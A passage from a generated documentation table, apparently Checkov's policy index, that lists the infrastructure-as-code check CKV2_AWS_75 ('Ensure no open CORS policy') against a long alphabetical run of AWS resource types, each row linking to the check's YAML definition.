resource | aws_guardduty_member_detector_feature                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  856 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  857 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  858 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  859 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  860 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  861 | CKV2_AWS_75 | resource | aws_iam_access_key                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  862 | CKV2_AWS_75 | resource | aws_iam_account_alias                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  863 | CKV2_AWS_75 | resource | aws_iam_account_password_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  864 | CKV2_AWS_75 | resource | aws_iam_group                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  865 | CKV2_AWS_75 | resource | aws_iam_group_membership                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  866 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  867 | CKV2_AWS_75 | resource | aws_iam_group_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  868 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  869 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  870 | CKV2_AWS_75 | resource | aws_iam_instance_profile                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  871 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  872 | CKV2_AWS_75 | resource | aws_iam_organizations_features                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  873 | CKV2_AWS_75 | resource | aws_iam_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  874 | CKV2_AWS_75 | resource | aws_iam_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  875 | CKV2_AWS_75 | resource | aws_iam_policy_document                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  876 | CKV2_AWS_75 | resource | aws_iam_role                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  877 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  878 | CKV2_AWS_75 | resource | aws_iam_role_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  879 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  880 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  881 | CKV2_AWS_75 | resource | aws_iam_saml_provider                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  882 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  883 | CKV2_AWS_75 | resource | aws_iam_server_certificate                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  884 | CKV2_AWS_75 | resource | aws_iam_service_linked_role                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  885 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  886 | CKV2_AWS_75 | resource | aws_iam_signing_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  887 | CKV2_AWS_75 | resource | aws_iam_user                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  888 | CKV2_AWS_75 | resource | aws_iam_user_group_membership                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  889 | CKV2_AWS_75 | resource | aws_iam_user_login_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  890 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  891 | CKV2_AWS_75 | resource | aws_iam_user_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  892 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  893 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  894 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  895 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  896 | CKV2_AWS_75 | resource | aws_identitystore_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  897 | CKV2_AWS_75 | resource | aws_identitystore_group_membership                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  898 | CKV2_AWS_75 | resource | aws_identitystore_user                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  899 | CKV2_AWS_75 | resource | aws_imagebuilder_component                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  900 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  901 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  902 | CKV2_AWS_75 | resource | aws_imagebuilder_image                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  903 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  904 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  905 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  906 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  907 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  908 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  909 | CKV2_AWS_75 | resource | aws_inspector2_enabler                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  910 | CKV2_AWS_75 | resource | aws_inspector2_member_association                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  911 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  912 | CKV2_AWS_75 | resource | aws_inspector_assessment_target                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  913 | CKV2_AWS_75 | resource | aws_inspector_assessment_template                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  914 | CKV2_AWS_75 | resource | aws_inspector_resource_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  915 | CKV2_AWS_75 | resource | aws_instance                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  916 | CKV2_AWS_75 | resource | aws_internet_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  917 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  918 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  919 | CKV2_AWS_75 | resource | aws_iot_authorizer                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  920 | CKV2_AWS_75 | resource | aws_iot_billing_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  921 | CKV2_AWS_75 | resource | aws_iot_ca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  922 | CKV2_AWS_75 | resource | aws_iot_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  923 | CKV2_AWS_75 | resource | aws_iot_domain_configuration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  924 | CKV2_AWS_75 | resource | aws_iot_event_configurations                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  925 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  926 | CKV2_AWS_75 | resource | aws_iot_logging_options                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  927 | CKV2_AWS_75 | resource | aws_iot_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  928 | CKV2_AWS_75 | resource | aws_iot_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  929 | CKV2_AWS_75 | resource | aws_iot_provisioning_template                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  930 | CKV2_AWS_75 | resource | aws_iot_role_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  931 | CKV2_AWS_75 | resource | aws_iot_thing                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  932 | CKV2_AWS_75 | resource | aws_iot_thing_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  933 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  934 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  935 | CKV2_AWS_75 | resource | aws_iot_thing_type                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  936 | CKV2_AWS_75 | resource | aws_iot_topic_rule                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  937 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  938 | CKV2_AWS_75 | resource | aws_ivs_channel                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  939 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  940 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  941 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  942 | CKV2_AWS_75 | resource | aws_ivschat_room                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  943 | CKV2_AWS_75 | resource | aws_kendra_data_source                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  944 | CKV2_AWS_75 | resource | aws_kendra_experience                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  945 | CKV2_AWS_75 | resource | aws_kendra_faq                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  946 | CKV2_AWS_75 | resource | aws_kendra_index                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  947 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  948 | CKV2_AWS_75 | resource | aws_kendra_thesaurus                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  949 | CKV2_AWS_75 | resource | aws_key_pair                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  950 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  951 | CKV2_AWS_75 | resource | aws_keyspaces_table                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 